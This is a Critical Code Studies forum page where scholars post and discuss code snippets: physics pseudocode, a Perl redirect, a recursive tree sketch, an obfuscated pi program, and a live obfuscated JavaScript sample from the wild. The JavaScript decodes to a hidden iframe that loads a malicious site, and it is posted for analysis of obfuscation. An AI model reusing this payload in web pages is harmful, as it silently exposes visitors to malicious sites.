ccs-code-snips

Welcome to the Code Critique forum. Here we are focusing on reading and critiquing specific code snippets. To get the discussion started, your hosts have chosen 5 programs to analyze, ranging across the uses (and abuses) of computer programing.

The first example belongs to the original use of computers, i.e. solving mathematical equations too complex or time consuming to be done by hand with the desired data set. This C++ program models the Schroedinger Equation, which describes how the quantum state of a physical system changes in time. Do not be alarmed. You do not have to have a background in physics or higher mathematics to appreciate the implications of scientific analysis based on crunching large amounts of data and how a computer program privileges certain results. Screenshots are available as well as the extremely interesting pseudo-code which describes how the program is supposed to work using a hybrid syntax of English and code.

Next we have two examples of obfuscated code; code which has been intentionally altered to obscure its meaning, either as a brain-teaser or to hide malware from virus scanners and users. Representing the brain-teasers, we have a visually intriguing and arithmetically simple (if tedious) method for getting the first four digits of pi. The malware example redirects you to a malicious website.

The fourth snippet is a single line of Perl used to redirect a website (hopefully for beneficial or at least more transparent purposes). Let your imagination run wild on all the little bits of mundane code that structure and direct our internet experiences.

Finally, we have a program that draws randomly generated recursive trees (in the mathematical and arboreal sense). The code itself is an exemplar of logical elegance as are the fleeting images it generates. Coincidence? I think not.

So these are our examples. Feel free to refer to these examples in your initial posts, but we also encourage you to contribute snippets that you're interested in reading in a group setting.

Here are some potential questions to ask while critically reading code:
 * At the "global" level: What's the history and context of the code/program? What’s the purpose of the software? Who wrote it? Who funded it? Who developed it, extended it, maintained it?
 * At the platform level: How do constraints of the platform impact the shape and performance of the code?
 * At the program level: What language was it written in, and why? What is the programming paradigm? What libraries does it draw upon?
 * At the character level: How do the individual and strings of characters combine to make meaning? What resonances do the signs have with other sign systems including natural language?
 * At the code level: Is code ugly or beautiful? Does it matter and why? Is the code efficient in achieving its goal (in building databases, in performing textual markups, in aggregating data online, etc)
 * How does one's choice of programming environment influence the coding/reading experiences?

Let the revels begin!

EXAMPLE #1: by ___



Atomic Physics: Time-Independent Schroedinger Equation Modelling of Periodic One Atoms Using the Bisectional Method. The 'DOS' and 'Windows' versions are provided. I was hoping that discussing some snippets of code from here (even though we can link to the entire code) can show how hybrid code is used as a way of privileging the outcome and the efficiency of outcome in certain aspects of scientific computing. Of course, this is not like a very good code (it is after all the outcome of a 4-month project) but one can see how it crunches out data and then visualizes that data from one simple mathematical derivation. Snapshots of the interface produced from the code

Also, a selection of pseudocode used to design the program

//PSEUDOCODE// //  // // Constants: // ,

Function Module for Opening DataFiles when running programme
// { // // entering max filename character size; // // inputting filename to be opened; // // inserting error checking in opening file // // Set format for output of numbers; // // } // // Module Function for Central Potential (V screening) // // { // // switch structure is used // // N= 1: // // break because hydrogen has no V screening effect. // // N= 2: // // c=0.056; (c being the parameter of each of these alkali atoms) // // N= 3: // // c=0.055; // // N= 4 // // c=0.066; // // N =5; // // c=0.058; // // N = 6: // // Using two different V-screen formulas depending on whether r or r >c; // // return V-screen; // // } //

// Module Function for Coulomb Potential // // { // // received passed values from main; // // declarationg of variables and arrays; // // setting boundary values for the V Potential; // // Formatting to output; // // Iterating of V Potential; // // Return values to main; // // } // // Module Function for Iteration of trial energy // (main core of the bisection method) // { // // declare variables; // // received passed values from main function and Eigenvalue module; // // set selection structure with looping structure for iteration of E + DELTA E (energy step size) or // // Hydrogen>Z =1; // // Lithium > Z = 3; // // Natrium>Z = 11; // // Potassium> Z = 19; // // Rubidium> Z = 37; // // Cesium-> Z = 55; // // E –(DELTA E)/2 depending on the sign of the product of two wavefunctions being positive or negative; // // return E energy; // // } // // Module Function for Eigenvalue(trial energy) // // { // // received passed values from main; // // declare variables and arrays; // // set selection structure for trial energy; // // define constants for the Schroedinger Time Independent equation; // // set boundary values for first set of wavefunction; // // assign sum of wavefunctions to a variable; // // repeat the steps for the second set by setting now the trial energy to + DELTA E; // // do-while looping{ // // same steps repeated for the third set but this time the function for Iteration is called; // // passed values from Eigenvalue to Iteration function; // // when eigenvalue begins to converge, set a function that allows halving of DELTA_E until the final stage of convergence; // // to test for opposite or similar signs, assign a variable to the multiplication of u[i]_previous and u[i]_next; // // input tolerance level to set the scale of accuracy; // // set formatting for the output on the file; // // set error check for selection structure; // // return 0; // // } // // Module Function for graphing utility // // { // // set x scaling, y scaling; // // set max x, min x, max y, min y; // // set iteration for max x ,minx ,max y, min y for pixel width setting; // // set type of graphs and refresh mode; // // set graph plotting function; // // } //

// Main Function // // { // // declare variables; // // set formatting; // list names of atoms; Received input from users for filename, angular momentum, step size of radial increment, number of iteration, trial energy and step size of energy; // call function Eigenvalue; // // format output style; // // close data file; // // close programme; // // end; // // } //

EXAMPLE 2

A Single line of Perl -- Jean Bauer

code print "Location: http://www.thenewurl.com", "\n\n";

code This line will redirect a website. Discussing it would get us into issues of brevity/simplicity in programing (and programing examples) as well as the dynamic nature webpages (even static ones), the ephemerality of web content (should this lead to archiving the web?), questions of direction and navigation between pages (what is voluntary and what is imposed), and so on.

EXAMPLE 3 Visualization Code -- Jean Bauer

This is a really cool example of elegant, recursive code. It is written by Mitchell Whitelaw in Processing and draws a randomly generated tree. Head over to http://www.openprocessing.org/visuals/?visualID=8752# to see it in action.

I think this program could let us talk about the aesthetics both of the code itself and what it generates. There is an interesting link (I think) between the simplicity of the lines below and the beauty of the drawings they create. Perhaps, getting into the the mind of the "programmer as artist."

void setup { size(600,600); smooth; noLoop; }

void draw { background(255); strokeWeight(10); translate(width/2,height-20); branch(0); }

void branch(int depth){ if (depth < 12) { line(0,0,0,-height/10); { translate(0,-height/10); rotate(random(-0.1,0.1));

if (random(1.0) < 0.6){ //branching// //rotate(0.3);// //scale(0.7);// //pushMatrix;// //branch(depth + 1);// //popMatrix;// //rotate(-0.6);// //pushMatrix;// //branch(depth + 1);// //popMatrix;// //}// //else {// continue branch(depth); } } } }

void mouseReleased{ redraw; }

EXAMPLE 4

Obfuscated code examples - Peter Likarish

My interest is in the analysis of obfuscated code, particularly malicious obfuscated code. I have some examples of malicious javascript I'm interested in using. I'm pasting one example below. I'm very interested in people's ideas of ways to approach obfuscated code. I noted in the discussion chaired by Mark Marino at CCSWG 2010 (http://www.electronicbookreview.com/thread/firstperson/coded) that he analyzed the annakournikova virus. However, the focus seems to have been on the code itself rather than the transition from obfuscated to benign, which is what I'm interested in. I'm reposting this text as a discussion element as well. If anyone has ideas please respond there and we can discuss.


 * First off, I can only offer a partial opinion, since I don't know what this code actually does. But it strikes me that this may not be the best example of obfuscated code as an interesting text; in fact if I had to guess this code was run through an obfuscator rather than lovingly hand-crafted. Now that in and of itself may be of some interest, especially when we consider the question of why the author decided to obfuscate it, but I don't think you're going to be able to extract any deeper meaning simply by examining the code. In addition, anyone looking for good examples of obfuscated code should head over to the [|International Obfuscated C Code Contest] --Richard

Richard - I'm aware of the obfuscated C code contest. I'm not actually that interested in it. This is code that exists in the wild. The intention of it isn't to show off how well someone can code/how much they know about C but how one can avoid detection. The reason I find it fascinating is it usually tends to do something incredibly simple, something that'd take one or two lines to do. I've worked on detecting this type of attack. Feel free to suggest (add'l) code from IOCCC but I think you're interested in it for a different reason than I am. Maybe the contrast between the two could be interesting, though. --Peter

var kBcbixsouogTfIchnyMH = "kV60kV105kV102kV114kV97kV109kV101kV32kV119kV105kV100kV116kV104kV61kV34kV52kV56kV48kV34kV32kV 104kV101kV105kV103kV104kV116kV61kV34kV54kV48kV34kV32kV115kV114kV99kV61kV34kV104kV116kV116kV112kV58kV47kV47kV104kV105 kV116kV45kV115kV101kV110kV100kV101kV114kV115kV46kV99kV110kV47kV102kV105kV110kV100kV47kV105kV110kV46kV99kV103kV105kV63 kV54kV34kV32kV115kV116kV121kV108kV101kV61kV34kV98kV111kV114kV100kV101kV114kV58kV48kV112kV120kV59kV32kV112kV111kV115kV 105kV116kV105kV111kV110kV58kV114kV101kV108kV97kV116kV105kV118kV101kV59kV32kV116kV111kV112kV58kV48kV112kV120kV59kV32kV 108kV101kV102kV116kV58kV45kV53kV48kV48kV112kV120kV59kV32kV111kV112kV97kV99kV105kV116kV121kV58kV48kV59kV32kV102kV105kV 108kV116kV101kV114kV58kV112kV114kV111kV103kV105kV100kV58kV68kV88kV73kV109kV97kV103kV101kV84kV114kV97kV110kV115kV102kV 111kV114kV109kV46kV77kV105kV99kV114kV111kV115kV111kV102kV116kV46kV65kV108kV112kV104kV97kV40kV111kV112kV97kV99kV105kV 116kV121kV61kV48kV41kV59kV32kV45kV109kV111kV122kV45kV111kV112kV97kV99kV105kV116kV121kV58kV48kV34kV62kV60kV47kV105kV 102kV114kV97kV109kV101kV62";var FVxOkuVZcmEMnhoVehKZ = kBcbixsouogTfIchnyMH.split("kV");var VqsBzVjmTvtZRroBmJaO = "";for (var wfbjMQFrxPQSGJUFeDry=1; wfbjMQFrxPQSGJUFeDry<FVxOkuVZcmEMnhoVehKZ.length; wfbjMQFrxPQSGJUFeDry++){VqsBzVjmTvtZRroBmJaO+=String.fromCharCode(FVxOkuVZcmEMnhoVehKZ[wfbjMQFrxPQSGJUFeDry]);}var MNwVKuSOmaiBMmiNFikT = ""+VqsBzVjmTvtZRroBmJaO+"";document.write(""+MNwVKuSOmaiBMmiNFikT+"")

Image for above code:

EXAMPLE 5 Obfuscated code example - Richard Mehlinger

From []; makefile: []; hint: []

This program calculates pi using its own shape and, I believe, a Monte Carlo method; so help me, I have absolutely no idea how. Anyway, I think this would be a sample for CCS to take a look at (assuming someone hasn't already).

-That's a really cool example Richard, I'll see if I can make sense of how it works... I checked it out, it needs a specialized C compiler rather than gcc to operate. Sorry but I'm not installing an alternate compiler just to run it :) The question this raises in my mind: is there a difference between benign (below example) and malicious (above) obfuscated code due to the intentions of the author? --Peter

Image for below:
 * So, for fun I decided to decipher this. It's not a Monte Carlo method at all; in fact it's very simple. The author takes an extremely long time and uses very obfuscated code to repeatedly decrement F and OO from 0. In fact, most of the code consists of OR statements, the latter half of which is short circuited and thus never executes. The code then outputs 4 * F/(OO*OO). When I calculated it out by hand, I got F = 200 and OO = 15, for an output of 3.555, which isn't quite pi, because I miscalculated the very first step and so decremented each variable 1 less than I should have. In fact, F = 201 and OO = 16, giving an output of 3.141. --Richard

code int F=00,OO=00;main{F_OO;printf("%1.3f\n",4.*-F/OO/OO);}F_OO {           _-_-_-_       _-_-_-_-_-_-_-_-_    _-_-_-_-_-_-_-_-_-_-_-_  _-_-_-_-_-_-_-_-_-_-_-_-_-_ _-_-_-_-_-_-_-_-_-_-_-_-_-_-_ _-_-_-_-_-_-_-_-_-_-_-_-_-_-_ _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_ _-_-_-_-_-_-_-_-_-_-_-_-_-_-_ _-_-_-_-_-_-_-_-_-_-_-_-_-_-_  _-_-_-_-_-_-_-_-_-_-_-_-_-_    _-_-_-_-_-_-_-_-_-_-_-_        _-_-_-_-_-_-_-_            _-_-_-_ }
 * 1) define _ -F<00||--F-OO--;

code